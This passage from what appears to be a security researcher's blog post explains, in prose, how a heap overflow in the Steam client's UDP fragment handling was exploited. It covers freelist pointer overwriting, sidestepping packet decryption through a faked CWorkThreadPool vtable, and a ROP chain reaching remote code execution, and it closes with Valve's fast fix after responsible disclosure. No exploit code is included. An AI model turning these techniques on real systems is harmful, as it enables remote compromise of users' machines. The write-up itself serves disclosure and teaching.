When a block is allocated, the first free block is unlinked from the head of the freelist, and the first 4-bytes of this block corresponding to the next_free_block are copied into the freelist_head member variable within the allocator class.


When a block is freed, the freelist_head field is copied into the first 4 bytes of the block being freed (next_free_block), and the address of the block being freed is copied into the freelist_head member variable within the allocator class.


The buffer overflow occurs in the heap, and depending on the size of the packets used to cause the corruption, the allocation could be controlled by either the default Windows allocator (for allocations larger than 0x400 bytes) or the custom Steam allocator (for allocations smaller than 0x400 bytes). Given the lack of security features of the custom Steam allocator, I chose this as the simpler of the two to exploit.

Referring back to the section on memory management, it is known that the head of the freelist for blocks of a given size is stored as a member variable in the allocator class, and a pointer to the next free block in the list is stored as the first 4 bytes of each free block in the list.

The heap corruption allows us to overwrite the next_free_block pointer if there is a free block adjacent to the block that the overflow occurs in. Assuming that the heap can be groomed to ensure this is the case, the overwritten next_free_block pointer can be set to an address to write to, and then a future allocation will be written to this location.


The memory corruption bug occurs in the code responsible for processing datagram fragments (Type 6 packets). Once the corruption has occurred, the RecvFragment() function is in a state where it is expecting more fragments to arrive. However, if they do arrive, a check is made to ensure:

fragment_size + num_bytes_already_received < sizeof(collection_buffer)

This will obviously not be the case, as our first packet has already violated that assertion (the bug depends on the omission of this check) and an error condition will be raised. To avoid this, the CUDPConnection::RecvFragment() method must be avoided after memory corruption has occurred.

Thankfully, CUDPConnection::RecvDatagram() is still able to receive and process type 7 (Datagram) packets sent whilst RecvFragment() is out of action and can be used to trigger the write primitive.


Packets being received by both RecvDatagram() and RecvFragment() are expected to be encrypted. In the case of RecvDatagram(), the decryption happens almost immediately after the packet has been received. In the case of RecvFragment(), it happens after the last fragment of the session has been received.

This presents a problem for exploitation as we do not know the encryption key, which is derived on a per-session basis. This means that any ROP code/shellcode that we send down will be ‘decrypted’ using AES256, turning our data into junk. It is therefore necessary to find a route to exploitation that occurs very soon after packet reception, before the decryption routines have a chance to run over the payload contained in the packet buffer.


Given the encryption limitation stated above, exploitation must be achieved before any decryption is performed on the incoming data. This adds additional constraints, but is still achievable by overwriting a pointer to a CWorkThreadPool object stored in a predictable location within the data section of the binary. While the details and inner workings of this class are unclear, the name suggests it maintains a pool of threads that can be used when ‘work’ needs to be done. Inspecting some debug strings within the binary, encryption and decryption appear to be two of these work items (E.g. CWorkItemNetFilterEncryptCWorkItemNetFilterDecrypt), and so the CWorkThreadPool class would get involved when those jobs are queued. Overwriting this pointer with a location of our choice allows us to fake a vtable pointer and associated vtable, allowing us to gain execution when, for example, CWorkThreadPool::AddWorkItem() is called, which is necessarily prior to any decryption occurring.

Figure 5 shows a successful exploitation up to the point that EIP is controlled.

Figure 5

From here, a ROP chain can be created that leads to execution of arbitrary code. The video below demonstrates an attacker remotely launching the Windows calculator app on a fully patched version of Windows 10.


If you’ve made it to this section of the blog, thank you for sticking with it! I hope it is clear that this was a very simple bug, made relatively straightforward to exploit due to a lack of modern exploit protections. The vulnerable code was probably very old, but as it was otherwise in good working order, the developers likely saw no reason to go near it or update their build scripts. The lesson here is that as a developer it is important to periodically include aging code and build systems in your reviews to ensure they conform to modern security standards, even if the actual functionality of the code has remained unchanged. The fact that such a simple bug with such serious consequences has existed in such a popular software platform for so many years may be surprising to find in 2018 and should serve as encouragement to all vulnerability researchers to find and report more of them!

As a final note, it is worth commenting on the responsible disclosure process. This bug was disclosed to Valve in an email to their security team ( at around 4pm GMT and just 8 hours later a fix had been produced and pushed to the beta branch of the Steam client. As a result, Valve now hold the top spot in the (imaginary) Context fastest-to-fix leaderboard, a welcome change from the often lengthy back-and-forth process often encountered when disclosing to other vendors.

A page detailing all updates to the Steam client can be found at